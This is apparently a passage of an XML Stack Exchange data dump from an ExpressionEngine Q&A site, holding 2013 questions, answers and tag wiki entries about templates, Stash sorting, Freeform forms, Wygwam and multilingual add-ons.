  <row Id="13065" PostTypeId="2" ParentId="13063" CreationDate="2013-08-23T00:54:51.787" Score="0" Body="&lt;pre&gt;&lt;code&gt;{if production != &quot;&quot;}&#xA;    &amp;lt;p&amp;gt;{production}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1943" LastActivityDate="2013-08-23T00:54:51.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13067" PostTypeId="1" AcceptedAnswerId="13130" CreationDate="2013-08-23T01:37:49.553" Score="1" ViewCount="60" Body="&lt;p&gt;Can this be done, including blockage to other (members) sub directories?&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2013-08-24T13:58:56.217" Title="Members upload photos into their own restricted subdirectory?" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13068" PostTypeId="2" ParentId="13063" CreationDate="2013-08-23T02:40:27.277" Score="4" Body="&lt;p&gt;Or, you can just do: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if production}&amp;lt;p&amp;gt;{production}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="135" LastEditorUserId="55" LastEditDate="2013-08-23T12:33:58.127" LastActivityDate="2013-08-23T12:33:58.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13069" PostTypeId="2" ParentId="13058" CreationDate="2013-08-23T05:19:41.720" Score="4" Body="&lt;p&gt;This can be achieved by developing a small custom third party addon (module) and some Ajax stuff. &#xA;I think, you are having PDF file linked in HREF so there would an event be triggered on click at that PDF link with Ajax call.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A small module would be created which will create a database table to track all the downloads&lt;/li&gt;&#xA;&lt;li&gt;This module would have an ACTION which will trigger with Ajax call on&#xA;clicking the PDF link. Like: &lt;code&gt;$.post(&quot;?ACT=xx&quot;, { pdf: &quot;xyz&quot;,&#xA;entry_id: &quot;xxx&quot;, other_data : &quot;abc&quot; } );&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The module function associated with that ACTION will do (1) Store the member&#xA;id and downloaded PDF into database table (2) Send an email notification to admin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Above is the whole approach for your need. I hope, it would help you and give some idea for developing that module.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-23T05:19:41.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13071" PostTypeId="2" ParentId="12928" CreationDate="2013-08-23T07:25:53.077" Score="4" Body="&lt;p&gt;To make sure extra processing is done before the var is put in the template, use the &lt;strong&gt;tag syntax&lt;/strong&gt; rather than the variable syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;my_wygwam_var&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-08-23T07:25:53.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13072" PostTypeId="2" ParentId="13011" CreationDate="2013-08-23T07:31:41.243" Score="1" Body="&lt;p&gt;This turns out to have been a problem unique to our site and therefore not very likely to be of help to anybody else, except, of course, in a very generic way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That generic help would be, check your console output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When WYGWAM &quot;fails&quot; in the way described here and in at least one other similar question, the cause is often missing files in the theme package, and those will be noted in the console output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case it was an addition we had made ourselves, to be able to add a number of styled pull-quote boxes to content entered in a WYGWAM field. Three of us had completely forgotten about that obscure little folder nested many layers deep in the wygwam theme folder, and it had simply not been moved across in the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again to Brad Bell, for a nudge in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2013-08-23T07:31:41.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13074" PostTypeId="5" CreationDate="2013-08-23T08:17:19.840" Score="0" Body="&lt;p&gt;Transcribe is a commercial add-on by EEHarbor allowing you to add Multi-lingual support to your ExpressionEngine website.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You've accepted the task of a multi-lingual website. Intimidated?&#xA;  Don't be. Feast your eyes on Transcribe for ExpressionEngine.&#xA;  Transcribe is a fully featured solution for creating multi-lingual&#xA;  websites in ExpressionEngine. Transcribe handles everything from&#xA;  word/phrase translation to channel entry translations and even url&#xA;  translation/routing!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transcribe was built to make the process of building multi-lingual&#xA;  websites quick and easy. So, what are you waiting for? Crush the task&#xA;  of creating a multi-lingual website.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information, or to purchase transcribe, visit the &lt;a href=&quot;http://eeharbor.com/transcribe&quot; rel=&quot;nofollow&quot;&gt;EEHarbor&lt;/a&gt; website.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:44.460" LastActivityDate="2013-08-23T09:49:44.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13075" PostTypeId="4" CreationDate="2013-08-23T08:17:19.840" Score="0" Body="Transcribe is a commercial add-on by EEHarbor allowing you to add Multi-lingual support to your ExpressionEngine website." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:03.033" LastActivityDate="2013-08-23T09:49:03.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13076" PostTypeId="1" AcceptedAnswerId="13096" CreationDate="2013-08-23T08:22:30.460" Score="3" ViewCount="161" Body="&lt;p&gt;Having tested {exp:stash:get_list}, I found out that any numeric column used as a reference for sorting is evaluated as a string, not as a number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I get something like this in order,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1&#xA;10&#xA;11&#xA;12&#xA;...&#xA;2&#xA;20&#xA;21&#xA;22&#xA;...&#xA;3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I make it so that it evaluates that column as a number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;message_list_items&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:example:message&#xA;        conversation_id=&quot;{segment_2}&quot;&#xA;        limit=&quot;{limit}&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        sort=&quot;desc&quot;&#xA;    }&#xA;        {if '{count}' == 1}&#xA;            {stash:opening_tag}&#xA;            {!- Some Stuff here --}&#xA;            &amp;lt;ol&amp;gt;&#xA;            {/stash:opening_tag}&#xA;        {/if}&#xA;        {stash:message_order}{count}{/stash:message_order}&#xA;        {stash:message}&#xA;                &amp;lt;li&amp;gt;&#xA;                    {!- Some Stuff here --}&#xA;                &amp;lt;/li&amp;gt;&#xA;        {/stash:message}&#xA;    {/exp:example:message}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list&#xA;    name=&quot;message_list_items&quot;&#xA;    {if '{embed:arbitrary_condition}' != 'y'}&#xA;        orderby=&quot;message_order&quot;&#xA;        sort=&quot;asc&quot;&#xA;    {/if}&#xA;}&#xA;    {if '{count}' == 1}&#xA;        {opening_tag}&#xA;    {/if}&#xA;    {message_order}&#xA;    {message}&#xA;{/exp:stash:get_list}&#xA;{/ol}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-24T03:52:34.080" LastActivityDate="2013-08-24T03:52:34.080" Title="{exp:stash:get_list} sorting by a numeric column" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13077" PostTypeId="5" CreationDate="2013-08-23T08:23:40.367" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt; is a freely available add-on from Pixel &amp;amp; Tonic providing a number of enhanced FieldTypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field Pack contains the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enhanced replacements for the Checkboxes, Select Dropdown, Multi&#xA;Select, and Radio Buttons fieldtypes bundled with EE.&lt;/li&gt;&#xA;&lt;li&gt;Lightswitch-style selection fieldtype.  &lt;/li&gt;&#xA;&lt;li&gt;Pill-style selection fieldtype.  &lt;/li&gt;&#xA;&lt;li&gt;List-making fieldtype.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more information, or to download &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt;, visit the Devot:ee &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:39.113" LastActivityDate="2013-08-23T09:49:39.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13078" PostTypeId="4" CreationDate="2013-08-23T08:23:40.367" Score="0" Body="Field Pack is a freely available add-on from Pixel &amp; Tonic providing a number of enhanced FieldTypes." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:47.223" LastActivityDate="2013-08-23T09:49:47.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13079" PostTypeId="5" CreationDate="2013-08-23T08:26:22.173" Score="0" Body="&lt;p&gt;From Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Twitter is an online social networking service and microblogging&#xA;  service that enables its users to send and read text-based messages of&#xA;  up to 140 characters, known as &quot;tweets&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information, or to join visit the &lt;a href=&quot;http://twitter.com/&quot; rel=&quot;nofollow&quot;&gt;Twitter&lt;/a&gt; website.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:24.130" LastActivityDate="2013-08-23T09:49:24.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13080" PostTypeId="4" CreationDate="2013-08-23T08:26:22.173" Score="0" Body="Twitter is an online social networking and microblogging service." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:35.223" LastActivityDate="2013-08-23T09:49:35.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13081" PostTypeId="5" CreationDate="2013-08-23T08:32:18.073" Score="0" Body="&lt;p&gt;Apache is the most popular Web Server in use on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://httpd.apache.org/&quot; rel=&quot;nofollow&quot;&gt;Apache.org&lt;/a&gt; website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Apache HTTP Server Project is an effort to develop and maintain an&#xA;  open-source HTTP server for modern operating systems including UNIX&#xA;  and Windows NT. The goal of this project is to provide a secure,&#xA;  efficient and extensible server that provides HTTP services in sync&#xA;  with the current HTTP standards.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Apache httpd has been the most popular web server on the Internet&#xA;  since April 1996.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Apache HTTP Server (&quot;httpd&quot;) is a project of The Apache Software&#xA;  Foundation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found at &lt;a href=&quot;http://www.apache.org/&quot; rel=&quot;nofollow&quot;&gt;The Apache Software Foundation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:30.583" LastActivityDate="2013-08-23T09:49:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13082" PostTypeId="4" CreationDate="2013-08-23T08:32:18.073" Score="0" Body="Apache is the most popular Web Server in use on the internet." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:48:54.423" LastActivityDate="2013-08-23T09:48:54.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13083" PostTypeId="5" CreationDate="2013-08-23T08:41:18.640" Score="0" Body="&lt;p&gt;Rich Text Editor (RTE) is a FieldType built into ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module once enabled allows the Rich Text Editing FieldType to be used both in the Control Panel and on the Front-end via SafeCracker. The FieldType adds a great many features over a standard HTML Textarea. This includes the ability to embed images and links, insert ordered and unordered lists, style text with bold, italic and underlining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/rte/&quot; rel=&quot;nofollow&quot;&gt;User Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:41.803" LastActivityDate="2013-08-23T09:49:41.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13084" PostTypeId="4" CreationDate="2013-08-23T08:41:18.640" Score="0" Body="Rich Text Editor (RTE) is a FieldType built into ExpressionEngine." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-23T09:49:21.347" LastActivityDate="2013-08-23T09:49:21.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13085" PostTypeId="2" ParentId="13076" CreationDate="2013-08-23T08:43:42.420" Score="0" Body="&lt;p&gt;I think, you are setting channel entries as list via Stash. Right? If so see that channel field's settings for &lt;code&gt;Field Content&lt;/code&gt; under &lt;code&gt;Field Options&lt;/code&gt; and select it as &lt;code&gt;Number&lt;/code&gt;. You set_list/get_list would work properly by sorting with number.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-23T08:43:42.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13086" PostTypeId="1" CreationDate="2013-08-23T08:57:40.983" Score="1" ViewCount="38" Body="&lt;p&gt;My current solution for making my site multilingual is using this &lt;a href=&quot;http://devot-ee.com/add-ons/language-variables&quot; rel=&quot;nofollow&quot;&gt;very simple plugin&lt;/a&gt;&#xA;which is very close to how Codeigniter does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it seems this cannot be used for things like Matrix/Playa since the strings are not in the template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best approach for making Matrix/Playa multilingual?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-23T13:31:53.023" Title="Matrix/Playa approach to i18n" Tags="|matrix|playa|multi-language|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13087" PostTypeId="2" ParentId="13086" CreationDate="2013-08-23T09:00:26.690" Score="1" Body="&lt;p&gt;You can try the &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt; add-on, it supports both Playa and Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found on the &lt;a href=&quot;http://boldminded.com/add-ons/publisher/third-party-add-ons&quot; rel=&quot;nofollow&quot;&gt;boldminded.com&lt;/a&gt; website.&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="27" LastEditDate="2013-08-23T13:31:53.023" LastActivityDate="2013-08-23T13:31:53.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13088" PostTypeId="1" AcceptedAnswerId="21824" CreationDate="2013-08-23T09:04:01.370" Score="2" ViewCount="117" Body="&lt;p&gt;Looking for some general advice, I'm looking to build a store that has 1,500 products. These products are broken down into 40 or so categories, can be in multiple categories and I want to be able to nest these categories in the URL, for example I want to be able to do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/category_parent/category_child/category_childs_child/product_name/&#xA;site.com/category_parent/category_child/product_name/&#xA;site.com/category_parent/product_name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trouble I have is that ExpressionEngines built in categories don't allow this, the only option is to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/categories/category_name/product_name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if i'm linking to a product from the homepage (without being on a category listing page) you'll end up on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/product_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This all gets pretty confusing from a users point of view as the URL system doesn't have any consistency. Is there any options for me to get the URLs working as I want or is ExpressionEngine simply the wrong system for the job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been thinking it might be possible by using the add-on freebie but still can't workout how i'd manage the different levels of category and the fact that there isn't a fixed depth of category… some pages could have 4 levels of categories some only 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate someone else's thoughts on this matter, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-05-09T15:02:24.260" Title="Creating a store with Structure and multiple levels of categories in the URL" Tags="|expresso-store|categories|structure|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13089" PostTypeId="2" ParentId="13047" CreationDate="2013-08-23T09:15:42.473" Score="1" Body="&lt;p&gt;As of version 2.1, you have to hard-code the source folder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;source-folder/{assets_field:server_path}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a solution for this is in active development for version 2.2.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="5" LastEditDate="2013-09-06T14:57:19.020" LastActivityDate="2013-09-06T14:57:19.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13090" PostTypeId="2" ParentId="13039" CreationDate="2013-08-23T09:21:04.743" Score="1" Body="&lt;p&gt;You con configure each of your Wygwam configs to be restricted to a particular upload directory by going to Add-Ons &gt; Modules &gt; Wygwam &gt; [your config name], and setting the Upload Directory setting.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-23T09:21:04.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13091" PostTypeId="2" ParentId="12937" CreationDate="2013-08-23T09:43:00.373" Score="0" Body="&lt;p&gt;Trevor Davis had written an article a while back about this kind of form building tool &lt;a href=&quot;http://trevordavis.net/blog/freeform-fieldframe-expressionengine-form-builder&quot; rel=&quot;nofollow&quot;&gt;http://trevordavis.net/blog/freeform-fieldframe-expressionengine-form-builder&lt;/a&gt; - you may get some mileage out of it &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-23T09:43:00.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13093" PostTypeId="1" AcceptedAnswerId="13445" CreationDate="2013-08-23T11:23:59.547" Score="0" ViewCount="154" Body="&lt;p&gt;So I am building this &quot;booking form&quot; (really it just emails somebody) and I want the form to be pre-populated with the user's details if they are logged in. I have this mostly working, but the email address will not populate from the global &lt;code&gt;{email}&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the parse order I have the form in an include and am embedding it in my template, passing the variables to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the embed code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;/includes/.booking-form&quot;&#xA;        first-name=&quot;default_value='{exp:member:custom_profile_data}{first-name}{/exp:member:custom_profile_data}'&quot;&#xA;        last-name=&quot;default_value='{exp:member:custom_profile_data}{last-name}{/exp:member:custom_profile_data}'&quot;&#xA;        email=&quot;default_value='{email}'&quot;&#xA;        school=&quot;default_value='{exp:member:custom_profile_data}{school}{/exp:member:custom_profile_data}'&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_id=&quot;1&quot; required=&quot;first_name|last_name|email|school&quot; return=&quot;{page_url}&quot; inline_errors=&quot;yes&quot; form:class=&quot;booking-form&quot;}&#xA;{if freeform:general_errors}&#xA;    &amp;lt;h2&amp;gt;There were some error(s) with your submission:&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {freeform:general_errors}&#xA;        &amp;lt;li&amp;gt;{freeform:error_message}&amp;lt;/li&amp;gt;&#xA;        {/freeform:general_errors}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt; First name:&amp;lt;/label&amp;gt;&#xA;    {freeform:field:first_name {embed:first-name}}&#xA;    {if freeform:error:first_name}&#xA;        &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;            {freeform:error:first_name}&#xA;        &amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt; Last name:&amp;lt;/label&amp;gt;&#xA;    {freeform:field:last_name {embed:last-name}}&#xA;    {if freeform:error:last_name}&#xA;        &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;            {freeform:error:last_name}&#xA;        &amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt; Email:&amp;lt;/label&amp;gt;&#xA;    {freeform:field:email {embed:email}}&#xA;    {if freeform:error:email}&#xA;        &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;            {freeform:error:email}&#xA;        &amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;span&amp;gt;*&amp;lt;/span&amp;gt; Your school:&amp;lt;/label&amp;gt;&#xA;    {freeform:field:school {embed:school}}&#xA;    {if freeform:error:school}&#xA;        &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;            {freeform:error:school}&#xA;        &amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Comments:&amp;lt;/label&amp;gt;&#xA;    {freeform:field:comments}&amp;lt;br /&amp;gt;&#xA;    {if freeform:error:comments}&#xA;        &amp;lt;span class=&quot;error&quot;&amp;gt;&#xA;            {freeform:error:comments}&#xA;        &amp;lt;/span&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I said, the first name, last name and school are pre-populating perfectly, it is only the email that is not working. I have done a bit of debugging, if I put the &lt;code&gt;{embed:email}&lt;/code&gt; tag in elsewhere in the code it outputs correctly &lt;code&gt;default_value='email@email.net'&lt;/code&gt;, and if I manually type in the email into the embed code like so:&#xA;&lt;code&gt;email=&quot;default_value='email@email.net'&quot;&lt;/code&gt; it pre-populates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea what's going on? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2013-09-03T20:52:44.727" Title="Freeform default_value not working with global email variable" Tags="|email|solspace-freeform|solspace|global-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13094" PostTypeId="2" ParentId="13088" CreationDate="2013-08-23T11:25:53.540" Score="1" Body="&lt;p&gt;You might consider using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;segment variables&lt;/a&gt; and Mark Croxton's highly-regarded &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start checking at the highest possible number of segments and work your way back, of course.&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2013-08-23T11:25:53.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13095" PostTypeId="1" AcceptedAnswerId="13132" CreationDate="2013-08-23T12:02:19.593" Score="1" ViewCount="534" Body="&lt;p&gt;Good afternoon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after upgrading to the latest wygwam version i experienced the problem that the editor is stripping out content from wygwam fields. Not the visible parts but class and id fields from for example ul and li fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely the new Advanced Content Filter (ACF) ckeditor implemented is the root cause of this because they have switched it to default on. Problem is that there doesn't seem to that pixel and tonic didn't update the ADVANCED SETTINGS tab so you can disable ACF, only add extraAllowedContent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do i disable ACF? I must set CKEDITOR.config.allowedContent to true to do this but WHERE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.ckeditor.com/#!/guide/dev_advanced_content_filter&quot; rel=&quot;nofollow&quot;&gt;http://docs.ckeditor.com/#!/guide/dev_advanced_content_filter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-08-24T18:22:16.420" Title="Wygwam - stripping tags from ul li (class and id) [Advanced Content Filter (ACF)]" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13096" PostTypeId="2" ParentId="13076" CreationDate="2013-08-23T12:44:10.983" Score="3" Body="&lt;p&gt;You can use the &lt;code&gt;sort_type=&quot;integer&quot;&lt;/code&gt; parameter when you use &lt;code&gt;get_list&lt;/code&gt;. That might help you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the wiki for the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D&quot; rel=&quot;nofollow&quot;&gt;get_list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-23T12:44:10.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13098" PostTypeId="1" AcceptedAnswerId="13178" CreationDate="2013-08-23T13:12:58.697" Score="0" ViewCount="760" Body="&lt;p&gt;I'm having some troubles with Freeform Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got my forms working correctly, using the {exp:freeform:form} tag, the information is being logged into Freeform correctly, the Admins are getting the email, but the notify_user template doesn't seem to be working. I've read the documentation and it looks as if you have to use &quot;notify_user&quot;, &quot;user_email_field&quot;, and &quot;user_notification_template&quot; all together. I've got all three params in my Freeform tag, but cannot seem to figure out why they're not getting the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Ajax to send the forms and to run simple validation, but I don't think that would have any effect on the user emails, would it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freeform:form form:class=&quot;jqtransform form_main&quot; form_id=&quot;4&quot; required=&quot;first_name|where_do_you_live|user_message&quot; return=&quot;your-dreams-goals&quot; admin_notify=&quot;my_email@address.com&quot; notify_admin=&quot;yes&quot; notify_user=&quot;yes&quot; user_email_field=&quot;email&quot; user_notification_template=&quot;default&quot;}&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;first_name&quot; name=&quot;first_name&quot; placeholder=&quot;First name&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; id=&quot;where_do_you_live&quot; name=&quot;where_do_you_live&quot; placeholder=&quot;Where do you live?&quot; /&amp;gt;&#xA;&amp;lt;textarea id=&quot;user_message&quot; name=&quot;user_message&quot; rows=&quot;5&quot; cols=&quot;15&quot; placeholder=&quot;Click here to type your dream or goal...&quot;&amp;gt;Click here to type your dream or goal...&amp;lt;/textarea&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p class=&quot;purple&quot;&amp;gt;Would you like to send your dream or goal to yourself?&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;Email Address&quot; /&amp;gt;&#xA;&amp;lt;label for=&quot;email&quot; 